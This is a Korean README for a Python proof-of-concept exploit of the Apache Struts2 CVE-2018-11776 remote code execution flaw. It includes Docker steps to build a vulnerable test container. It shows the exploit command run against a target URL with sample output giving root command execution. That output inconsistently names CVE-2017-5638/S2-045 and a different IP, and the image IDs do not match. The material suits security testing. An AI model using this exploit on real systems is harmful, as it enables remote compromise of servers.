
Apache Struts2 CVE-2018-11776 원격 코드 실행 취약점에 대한 Python 개념 증명 익스플로잇, 영향을 받는 버전 2.3-2.3.34 및 2.5-2.5.16에 대한 테스트를 위한 Docker 컨테이너 포함.
이것은 https://github.com/hook-s3c/CVE-2018-11776-Python-PoC를 기반으로 합니다. 컨테이너 빌드 및 지침이 README에 설명된 대로 작동하지 않아 이 포크가 생성되었습니다. 사용된 PoC 익스플로잇은 Rapid7에서 제공되었습니다.
감사 인사:
hook-s3c (github.com/hook-s3c), @hook_s3c (트위터)
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
Semmle의 Man Yue Mo가 요청의 URL 경로에 인코딩된 페이로드로 전달되는 Struts2 RCE 취약점을 공개했습니다.
영향을 받는 버전은 2.3에서 2.3.34, 2.5에서 2.5.16입니다.
기본 구성은 취약하지 않습니다. 이 컨테이너와 다른 많은 컨테이너는 취약합니다.
빌드에 무엇이 포함되는지 확인할 수 있을 때 Dockerfile에서 컨테이너를 빌드하는 것이 좋습니다.
git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts
다음 명령으로 새 컨테이너를 찾으십시오.
docker images
출력은 다음과 유사해야 하며, 여기서 이미지 ID를 얻을 수 있습니다.
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
다음 명령으로 컨테이너를 빌드하고 시작하십시오.
docker run -d --name apachestruts -p 8080:8080 d39018c50afe
들어오는/나가는 방화벽이 이전에 지정한 포트(8080)를 허용하는지 확인하고 다음 명령으로 대상에 익스플로잇을 실행합니다.
python struts.py http://192.168.2.188:8080 'id'
출력은 다음과 유사해야 합니다.
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id' [*] CVE: 2017-5638 - Apache Struts2 S2-045 http://13.88.250.188:8080 : [*] cmd: id uid=0(root) gid=0(root) groups=0(root)